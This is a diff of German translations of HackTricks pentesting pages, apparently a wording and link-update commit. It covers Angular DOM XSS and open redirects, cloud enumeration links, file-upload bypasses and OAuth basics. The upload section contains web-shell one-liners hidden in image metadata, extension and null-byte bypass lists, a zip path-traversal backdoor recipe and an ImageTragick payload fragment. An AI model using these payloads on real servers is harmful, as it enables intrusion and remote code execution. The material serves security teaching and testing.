* Die Methode `html()` erhält den HTML-Inhalt des ersten Elements in der Menge der übereinstimmenden Elemente oder setzt den HTML-Inhalt jedes übereinstimmenden Elements. Allerdings kann jede jQuery-Konstruktor- oder Methode, die einen HTML-String akzeptiert, potenziell Code ausführen. Dies kann durch die Injektion von `<script>`-Tags oder die Verwendung von HTML-Attributen, die Code ausführen, wie im Beispiel gezeigt, geschehen.
@ -446,7 +446,7 @@ $palias.append(html);
#### DOM-Schnittstellen
Laut der W3C-Dokumentation werden die Objekte `window.location` und `document.location` in modernen Browsern als Aliase behandelt. Deshalb haben sie eine ähnliche Implementierung einiger Methoden und Eigenschaften, was zu einem offenen Redirect und DOM-XSS mit `javascript://`-Schemaangriffen führen kann, wie unten erwähnt.
Laut der W3C-Dokumentation werden die Objekte `window.location` und `document.location` in modernen Browsern als Aliase behandelt. Deshalb haben sie eine ähnliche Implementierung einiger Methoden und Eigenschaften, was zu einem offenen Redirect und DOM-XSS mit `javascript://`-Schema-Angriffen führen kann, wie unten erwähnt.
* `window.location.href`(und `document.location.href`)
@ -468,7 +468,7 @@ window.location.href = "https://google.com/about"
Der Ausnutzungsprozess ist identisch für die folgenden Szenarien.
* `window.location.assign()`(und `document.location.assign()`)
Diese Methode bewirkt, dass das Fenster das Dokument an der angegebenen URL lädt und anzeigt. Wenn wir die Kontrolle über diese Methode haben, könnte sie ein Ziel für einen offenen Redirect-Angriff sein.
Diese Methode bewirkt, dass das Fenster das Dokument an der angegebenen URL lädt und anzeigt. Wenn wir Kontrolle über diese Methode haben, könnte sie ein Ziel für einen offenen Redirect-Angriff sein.
```tsx
//app.component.ts
@ -483,7 +483,7 @@ window.location.assign("https://google.com/about")
Diese Methode ersetzt die aktuelle Ressource durch die an der angegebenen URL.
Der Unterschied zur Methode `assign()` besteht darin, dass nach der Verwendung von `window.location.replace()` die aktuelle Seite nicht im Sitzungsverlauf gespeichert wird. Es ist jedoch auch möglich, eine offene Redirect-Anfälligkeit auszunutzen, wenn wir die Kontrolle über diese Methode haben.
Der Unterschied zur Methode `assign()` besteht darin, dass nach der Verwendung von `window.location.replace()` die aktuelle Seite nicht im Sitzungsverlauf gespeichert wird. Es ist jedoch auch möglich, eine offene Redirect-Anfälligkeit auszunutzen, wenn wir Kontrolle über diese Methode haben.
```tsx
//app.component.ts
@ -558,7 +558,7 @@ console.log(this.location.go("http://google.com/about"));
```
Ergebnis: `http://localhost:4200/http://google.com/about`
* Die Angular `Router`-Klasse wird hauptsächlich für die Navigation innerhalb derselben Domain verwendet und führt keine zusätzlichen Anfälligkeiten in die Anwendung ein:
* Die Angular `Router`-Klasse wird hauptsächlich für die Navigation innerhalb derselben Domain verwendet und führt nicht zu zusätzlichen Anfälligkeiten in der Anwendung:
```jsx
//app-routing.module.ts
@ -592,7 +592,7 @@ this.router.navigateByUrl('URL')
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
* [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
* [Angular Universal](https://angular.io/guide/universal)
* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss)
* [DOM XSS](https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-xss.html)
* [Angular ElementRef](https://angular.io/api/core/ElementRef)
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
* [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)

View File

@ -5,7 +5,7 @@
Überprüfen Sie diese Seite, wenn Sie mehr über das Auflisten und Ausnutzen von Buckets erfahren möchten:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.html#aws---s3-unauthenticated-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -9,7 +9,7 @@ Firebase ist ein Backend-as-a-Service, hauptsächlich für mobile Anwendungen. E
Erfahren Sie mehr über Firebase unter:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.html
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -31,7 +31,7 @@ Weitere nützliche Erweiterungen:
- _file._
- _file.php...._
- _file.pHp5...._
4. Versuchen Sie, die Schutzmaßnahmen zu umgehen, indem Sie den **Erweiterungsparser** des Servers mit Techniken wie **Verdopplung** der **Erweiterung** oder **Hinzufügen von Junk**-Daten (**null** Bytes) zwischen den Erweiterungen täuschen. _Sie können auch die **vorherigen Erweiterungen** verwenden, um eine bessere Payload vorzubereiten._
4. Versuchen Sie, die Schutzmaßnahmen **zu umgehen, indem Sie den Erweiterungsparser** des Servers mit Techniken wie **Verdopplung** der **Erweiterung** oder **Hinzufügen von Junk**-Daten (**null** Bytes) zwischen den Erweiterungen täuschen. _Sie können auch die **vorherigen Erweiterungen** verwenden, um eine bessere Payload vorzubereiten._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -43,15 +43,15 @@ Weitere nützliche Erweiterungen:
5. Fügen Sie **eine weitere Ebene von Erweiterungen** zur vorherigen Überprüfung hinzu:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Versuchen Sie, die **exec-Erweiterung vor der gültigen Erweiterung** zu platzieren und beten Sie, dass der Server falsch konfiguriert ist. (nützlich zur Ausnutzung von Apache-Misconfigurationen, bei denen alles mit der Erweiterung **.php** ausgeführt wird, aber nicht unbedingt mit .php enden muss):
6. Versuchen Sie, die **exec-Erweiterung vor der gültigen Erweiterung** zu setzen und beten Sie, dass der Server falsch konfiguriert ist. (nützlich zur Ausnutzung von Apache-Misconfigurationen, bei denen alles mit der Erweiterung **_**.php**_**, aber nicht unbedingt endend in .php** Code ausführt):
- _ex: file.php.png_
7. Verwenden von **NTFS-Alternativdatenstrom (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunktzeichen “:” nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Infolgedessen wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z.B. “file.asax:.jpg”). Diese Datei könnte später mit anderen Techniken bearbeitet werden, z.B. mit ihrem kurzen Dateinamen. Das Muster “**::$data**” kann auch verwendet werden, um nicht leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster auch nützlich sein, um weitere Einschränkungen zu umgehen (z.B. “file.asp::$data.”)
8. Versuchen Sie, die Dateinamenlimits zu brechen. Die gültige Erweiterung wird abgeschnitten. Und die bösartige PHP bleibt. AAA<--SNIP-->AAA.php
8. Versuchen Sie, die Dateinamenlimits zu brechen. Die gültige Erweiterung wird abgeschnitten. Und das bösartige PHP bleibt. AAA<--SNIP-->AAA.php
```
# Linux maximal 255 Bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier und Hinzufügen von .png
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier und .png hinzufügen
# Laden Sie die Datei hoch und überprüfen Sie die Antwort, wie viele Zeichen sie zulässt. Angenommen 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -61,23 +61,23 @@ AAA<--SNIP 232 A-->AAA.php.png
### Umgehung von Content-Type, Magic Number, Kompression & Größenänderung
- Umgehung der **Content-Type**-Überprüfungen, indem der **Wert** des **Content-Type**-**Headers** auf: _image/png_, _text/plain_, application/octet-stream_ gesetzt wird.
- Umgehung der **Content-Type**-Überprüfungen, indem Sie den **Wert** des **Content-Type** **Headers** auf: _image/png_, _text/plain_, application/octet-stream_ setzen.
1. Content-Type **Wortliste**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Umgehung der **Magic Number**-Überprüfung, indem am Anfang der Datei die **Bytes eines echten Bildes** hinzugefügt werden (verwirren Sie den _file_-Befehl). Oder führen Sie die Shell in die **Metadaten** ein:\
- Umgehung der **Magic Number**-Überprüfung, indem Sie am Anfang der Datei die **Bytes eines echten Bildes** hinzufügen (verwirren Sie den _file_ Befehl). Oder führen Sie die Shell in die **Metadaten** ein:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` oder Sie könnten auch **die Payload direkt** in ein Bild einfügen:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Wenn **Kompression zu Ihrem Bild hinzugefügt wird**, z.B. mit einigen Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht nützlich. Sie könnten jedoch die **PLTE-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
- Wenn **Kompression zu Ihrem Bild hinzugefügt wird**, zum Beispiel mit einigen Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), werden die vorherigen Techniken nicht nützlich sein. Sie könnten jedoch die **PLTE-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Die Webseite könnte auch das **Bild** **verkleinern**, z.B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Sie könnten jedoch die **IDAT-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
- Die Webseite könnte auch das **Bild** **verkleinern**, indem sie beispielsweise die PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled` verwendet. Sie könnten jedoch die **IDAT-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Eine weitere Technik, um eine Payload zu erstellen, die **eine Größenänderung eines Bildes übersteht**, verwendet die PHP-GD-Funktion `thumbnailImage`. Sie könnten jedoch die **tEXt-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Weitere Tricks zur Überprüfung
- Finden Sie eine Schwachstelle, um die bereits hochgeladene Datei **umzubenennen** (um die Erweiterung zu ändern).
- Finden Sie eine **Local File Inclusion**-Schwachstelle, um die Hintertür auszuführen.
- Finden Sie eine Schwachstelle, um die Datei, die bereits hochgeladen wurde, **umzubenennen** (um die Erweiterung zu ändern).
- Finden Sie eine **Local File Inclusion**-Schwachstelle, um das Backdoor auszuführen.
- **Mögliche Informationsoffenlegung**:
1. Laden Sie **mehrmals** (und zur **gleichen Zeit**) die **gleiche Datei** mit dem **gleichen Namen** hoch.
2. Laden Sie eine Datei mit dem **Namen** einer **Datei** oder **Ordners**, der **bereits existiert**.
@ -85,11 +85,11 @@ AAA<--SNIP 232 A-->AAA.php.png
4. Laden Sie eine Datei hoch, die möglicherweise nicht leicht gelöscht werden kann, wie **“…:.jpg”** in **NTFS**. (Windows)
5. Laden Sie eine Datei in **Windows** mit **ungültigen Zeichen** wie `|<>*?”` in ihrem Namen hoch. (Windows)
6. Laden Sie eine Datei in **Windows** mit **reservierten** (**verbotenen**) **Namen** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 hoch.
- Versuchen Sie auch, eine **ausführbare Datei** (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **Code ausführt**, wenn sie versehentlich vom Opfer geöffnet wird.
- Versuchen Sie auch, eine **ausführbare** Datei (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **Code ausführt**, wenn sie versehentlich vom Opfer geöffnet wird.
### Besondere Erweiterungstricks
Wenn Sie versuchen, Dateien auf einen **PHP-Server** hochzuladen, [sehen Sie sich den **.htaccess**-Trick an, um Code auszuführen](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Wenn Sie versuchen, Dateien auf einen **PHP-Server** hochzuladen, [sehen Sie sich den **.htaccess**-Trick an, um Code auszuführen](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Wenn Sie versuchen, Dateien auf einen **ASP-Server** hochzuladen, [sehen Sie sich den **.config**-Trick an, um Code auszuführen](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Die `.phar`-Dateien sind wie die `.jar` für Java, aber für PHP, und können **wie eine PHP-Datei verwendet werden** (indem sie mit PHP ausgeführt oder in ein Skript eingebunden werden...)
@ -128,7 +128,7 @@ characters = @(call://uwsgi_func)
```
Die Ausführung des Payloads erfolgt während des Parsens der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst werden kann, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Absturz oder aufgrund eines Denial of Service-Angriffs) oder die Datei muss auf automatisches Neuladen eingestellt werden. Die Auto-Reload-Funktion, wenn aktiviert, lädt die Datei in festgelegten Intervallen neu, wenn Änderungen erkannt werden.
Es ist entscheidend, die nachsichtige Natur des Parsens der uWSGI-Konfigurationsdatei zu verstehen. Insbesondere kann der besprochene Payload in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den Umfang potenzieller Ausnutzung weiter erweitert.
Es ist entscheidend, die nachlässige Natur des Parsens der Konfigurationsdatei von uWSGI zu verstehen. Insbesondere kann der besprochene Payload in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den Umfang potenzieller Ausnutzung weiter erweitert.
## **wget File Upload/SSRF Trick**
@ -172,7 +172,7 @@ Beachten Sie, dass **eine andere Option**, an die Sie denken könnten, um diese
- **JS** Datei **Upload** + **XSS** = [**Service Workers** Ausnutzung](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg Upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** durch Hochladen einer svg-Datei](../open-redirect.md#open-redirect-uploading-svg-files)
- Versuchen Sie **verschiedene svg-Payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- Versuchen Sie **verschiedene svg Payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- [Berühmte **ImageTrick** Schwachstelle](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Wenn Sie **den Webserver anweisen können, ein Bild von einer URL abzurufen**, könnten Sie versuchen, eine [SSRF](../ssrf-server-side-request-forgery/index.html) auszunutzen. Wenn dieses **Bild** auf einer **öffentlichen** Seite **gespeichert** wird, könnten Sie auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen von jedem Besucher stehlen**.
- [**XXE und CORS** Umgehung mit PDF-Adobe Upload](pdf-upload-xxe-and-cors-bypass.md)
@ -185,10 +185,10 @@ Hier ist eine Top-10-Liste von Dingen, die Sie durch Hochladen erreichen können
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
4. **CSV**: CSV-Injection
4. **CSV**: CSV-Injektion
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTML-Injection / XSS / Open Redirect
7. **HTML / JS** : HTML-Injektion / XSS / Open Redirect
8. **PNG / JPEG**: Pixel Flood Attack (DoS)
9. **ZIP**: RCE über LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
@ -270,7 +270,17 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Änderung mit einem Hex-Editor oder vi**: Die Namen der Dateien im Zip werden mit vi oder einem Hex-
3. **Änderung mit einem Hex-Editor oder vi**: Die Namen der Dateien im Zip werden mit vi oder einem Hex-Editor geändert, wobei "xxA" in "../" geändert wird, um Verzeichnisse zu durchlaufen.
```bash
:set modifiable
:%s/xxA/..\//g
:x!
```
## ImageTragic
Laden Sie diesen Inhalt mit einer Bilddateiendung hoch, um die Schwachstelle auszunutzen **(ImageMagick , 7.0.1-1)** (aus dem [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
@ -281,7 +291,7 @@ pop graphic-context
Das Einbetten einer PHP-Shell im IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` aus PHP-GD sind in diesem Zusammenhang besonders relevant, da sie häufig zum Verkleinern und Resampling von Bildern verwendet werden. Die Fähigkeit der eingebetteten PHP-Shell, von diesen Operationen unberührt zu bleiben, ist ein erheblicher Vorteil für bestimmte Anwendungsfälle.
Eine detaillierte Erkundung dieser Technik, einschließlich ihrer Methodik und potenziellen Anwendungen, wird im folgenden Artikel bereitgestellt: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen.
Eine detaillierte Erkundung dieser Technik, einschließlich ihrer Methodik und potenzieller Anwendungen, wird im folgenden Artikel bereitgestellt: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen.
Weitere Informationen unter: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
@ -291,7 +301,7 @@ Polyglot-Dateien dienen als einzigartiges Werkzeug in der Cybersicherheit und fu
Der Hauptnutzen von Polyglot-Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien basierend auf ihrem Typ überprüfen. Übliche Praktiken in verschiedenen Anwendungen erlauben nur bestimmte Dateitypen zum Hochladen—wie JPEG, GIF oder DOC—um das Risiko potenziell schädlicher Formate (z. B. JS, PHP oder Phar-Dateien) zu mindern. Ein Polyglot kann jedoch, indem es den strukturellen Kriterien mehrerer Dateitypen entspricht, diese Einschränkungen heimlich umgehen.
Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Zum Beispiel könnte der Erfolg des Hochladens eines Polyglots, das gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG verkörpert, von den Richtlinien der Plattform bezüglich der Dateiendungen abhängen. Wenn das System strenge Vorgaben für zulässige Endungen hat, könnte die bloße strukturelle Dualität eines Polyglots nicht ausreichen, um sein Hochladen zu garantieren.
Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Zum Beispiel könnte der Erfolg des Hochladens eines Polyglots, das gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG verkörpert, von den Richtlinien der Plattform bezüglich der Dateiendungen abhängen. Wenn das System strenge Vorgaben für zulässige Erweiterungen hat, könnte die bloße strukturelle Dualität eines Polyglots nicht ausreichen, um sein Hochladen zu garantieren.
Weitere Informationen unter: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)

View File

@ -4,15 +4,15 @@
## Grundlegende Informationen <a href="#d4a8" id="d4a8"></a>
OAuth bietet verschiedene Versionen, mit grundlegenden Einblicken, die in der [OAuth 2.0-Dokumentation](https://oauth.net/2/) verfügbar sind. Diese Diskussion konzentriert sich hauptsächlich auf den weit verbreiteten [OAuth 2.0-Autorisierungscode-Grant-Typ](https://oauth.net/2/grant-types/authorization-code/), der einen **Autorisierungsrahmen bietet, der es einer Anwendung ermöglicht, auf das Konto eines Benutzers in einer anderen Anwendung zuzugreifen oder Aktionen auszuführen** (dem Autorisierungsserver).
OAuth bietet verschiedene Versionen, mit grundlegenden Einblicken, die in der [OAuth 2.0-Dokumentation](https://oauth.net/2/) verfügbar sind. Diese Diskussion konzentriert sich hauptsächlich auf den weit verbreiteten [OAuth 2.0-Autorisierungscode-Grant-Typ](https://oauth.net/2/grant-types/authorization-code/), der ein **Autorisierungsframework bereitstellt, das einer Anwendung ermöglicht, auf das Konto eines Benutzers in einer anderen Anwendung zuzugreifen oder Aktionen durchzuführen** (der Autorisierungsserver).
Betrachten Sie eine hypothetische Website _**https://example.com**_, die **alle Ihre Social-Media-Beiträge** anzeigen soll, einschließlich privater. Um dies zu erreichen, wird OAuth 2.0 verwendet. _https://example.com_ wird um Ihre Erlaubnis bitten, **auf Ihre Social-Media-Beiträge zuzugreifen**. Folglich erscheint ein Zustimmungsbildschirm auf _https://socialmedia.com_, der die **angeforderten Berechtigungen und den Entwickler, der die Anfrage stellt, umreißt**. Nach Ihrer Autorisierung erhält _https://example.com_ die Möglichkeit, **in Ihrem Namen auf Ihre Beiträge zuzugreifen**.
Betrachten Sie eine hypothetische Website _**https://example.com**_, die **alle Ihre Social-Media-Beiträge**, einschließlich privater, **anzeigen soll**. Um dies zu erreichen, wird OAuth 2.0 verwendet. _https://example.com_ wird um Ihre Erlaubnis bitten, **auf Ihre Social-Media-Beiträge zuzugreifen**. Folglich wird ein Zustimmungsbildschirm auf _https://socialmedia.com_ erscheinen, der die **angeforderten Berechtigungen und den Entwickler, der die Anfrage stellt,** umreißt. Nach Ihrer Genehmigung erhält _https://example.com_ die Fähigkeit, **in Ihrem Namen auf Ihre Beiträge zuzugreifen**.
Es ist wichtig, die folgenden Komponenten innerhalb des OAuth 2.0-Rahmens zu verstehen:
Es ist wichtig, die folgenden Komponenten innerhalb des OAuth 2.0-Frameworks zu verstehen:
- **resource owner**: Sie, als der **Benutzer/Entität**, autorisieren den Zugriff auf Ihre Ressource, wie Ihre Social-Media-Konto-Beiträge.
- **resource owner**: Sie, als der **Benutzer/Entität**, autorisieren den Zugriff auf Ihre Ressource, wie Ihre Social-Media-Konten.
- **resource server**: Der **Server, der authentifizierte Anfragen verwaltet**, nachdem die Anwendung ein `access token` im Namen des `resource owner` gesichert hat, z.B. **https://socialmedia.com**.
- **client application**: Die **Anwendung, die Autorisierung** vom `resource owner` anfordert, wie **https://example.com**.
- **client application**: Die **Anwendung, die die Autorisierung** vom `resource owner` anfordert, wie **https://example.com**.
- **authorization server**: Der **Server, der `access tokens`** an die `client application` nach erfolgreicher Authentifizierung des `resource owner` und Sicherstellung der Autorisierung ausgibt, z.B. **https://socialmedia.com**.
- **client_id**: Ein öffentlicher, eindeutiger Identifikator für die Anwendung.
- **client_secret:** Ein vertraulicher Schlüssel, der nur der Anwendung und dem Autorisierungsserver bekannt ist, der zur Generierung von `access_tokens` verwendet wird.
@ -21,7 +21,7 @@ Es ist wichtig, die folgenden Komponenten innerhalb des OAuth 2.0-Rahmens zu ver
- **redirect_uri**: Die **URL, zu der der Benutzer nach der Autorisierung umgeleitet wird**. Diese muss in der Regel mit der vorab registrierten Umleitungs-URL übereinstimmen.
- **state**: Ein Parameter, um **Daten während der Umleitung des Benutzers zum und vom Autorisierungsserver zu erhalten**. Seine Einzigartigkeit ist entscheidend, um als **CSRF-Schutzmechanismus** zu dienen.
- **grant_type**: Ein Parameter, der **den Grant-Typ und den zurückzugebenden Token-Typ angibt**.
- **code**: Der Autorisierungscode vom `authorization server`, der zusammen mit `client_id` und `client_secret` von der Client-Anwendung verwendet wird, um ein `access_token` zu erhalten.
- **code**: Der Autorisierungscode vom `authorization server`, der zusammen mit `client_id` und `client_secret` von der Client-Anwendung verwendet wird, um ein `access_token` zu erwerben.
- **access_token**: Der **Token, den die Client-Anwendung für API-Anfragen** im Namen des `resource owner` verwendet.
- **refresh_token**: Ermöglicht der Anwendung, **ein neues `access_token` zu erhalten, ohne den Benutzer erneut zu fragen**.
@ -30,7 +30,7 @@ Es ist wichtig, die folgenden Komponenten innerhalb des OAuth 2.0-Rahmens zu ver
Der **tatsächliche OAuth-Ablauf** verläuft wie folgt:
1. Sie navigieren zu [https://example.com](https://example.com) und wählen die Schaltfläche „Mit Social Media integrieren“.
2. Die Website sendet dann eine Anfrage an [https://socialmedia.com](https://socialmedia.com), in der um Ihre Autorisierung gebeten wird, damit die Anwendung von https://example.com auf Ihre Beiträge zugreifen kann. Die Anfrage ist wie folgt strukturiert:
2. Die Website sendet dann eine Anfrage an [https://socialmedia.com](https://socialmedia.com), in der um Ihre Genehmigung gebeten wird, damit die Anwendung von https://example.com auf Ihre Beiträge zugreifen kann. Die Anfrage ist wie folgt strukturiert:
```
https://socialmedia.com/auth
?response_type=code
@ -44,7 +44,7 @@ https://socialmedia.com/auth
```
https://example.com?code=uniqueCode123&state=randomString123
```
5. https://example.com nutzt diesen `code`, zusammen mit seiner `client_id` und `client_secret`, um eine serverseitige Anfrage zu stellen, um ein `access_token` in Ihrem Namen zu erhalten, das den Zugriff auf die Berechtigungen ermöglicht, denen Sie zugestimmt haben:
5. https://example.com verwendet diesen `code` zusammen mit seiner `client_id` und `client_secret`, um eine serverseitige Anfrage zu stellen, um ein `access_token` in Ihrem Namen zu erhalten, das den Zugriff auf die Berechtigungen ermöglicht, denen Sie zugestimmt haben:
```
POST /oauth/access_token
Host: socialmedia.com
@ -58,7 +58,7 @@ Host: socialmedia.com
Die `redirect_uri` ist entscheidend für die Sicherheit in OAuth- und OpenID-Implementierungen, da sie angibt, wohin sensible Daten, wie Autorisierungscodes, nach der Autorisierung gesendet werden. Wenn sie falsch konfiguriert ist, könnte dies Angreifern ermöglichen, diese Anfragen an bösartige Server umzuleiten, was einen Account-Übernahme ermöglicht.
Die Ausbeutungstechniken variieren je nach Validierungslogik des Autorisierungsservers. Sie können von striktem Pfadabgleich bis hin zur Akzeptanz beliebiger URLs innerhalb der angegebenen Domain oder Unterverzeichnisse reichen. Zu den gängigen Ausbeutungstechniken gehören offene Umleitungen, Pfadtraversierung, das Ausnutzen schwacher Regex und HTML-Injection zum Diebstahl von Tokens.
Die Ausbeutungstechniken variieren je nach Validierungslogik des Autorisierungsservers. Sie können von striktem Pfadabgleich bis hin zur Akzeptanz beliebiger URLs innerhalb der angegebenen Domain oder Unterverzeichnisse reichen. Zu den gängigen Ausbeitungsmethoden gehören offene Umleitungen, Pfadtraversierung, das Ausnutzen schwacher Regex und HTML-Injection zum Diebstahl von Tokens.
Neben `redirect_uri` sind auch andere OAuth- und OpenID-Parameter wie `client_uri`, `policy_uri`, `tos_uri` und `initiate_login_uri` anfällig für Umleitungsangriffe. Diese Parameter sind optional und ihre Unterstützung variiert je nach Server.
@ -72,24 +72,24 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
```
### CSRF - Unsachgemäße Handhabung des Statusparameters <a href="#bda5" id="bda5"></a>
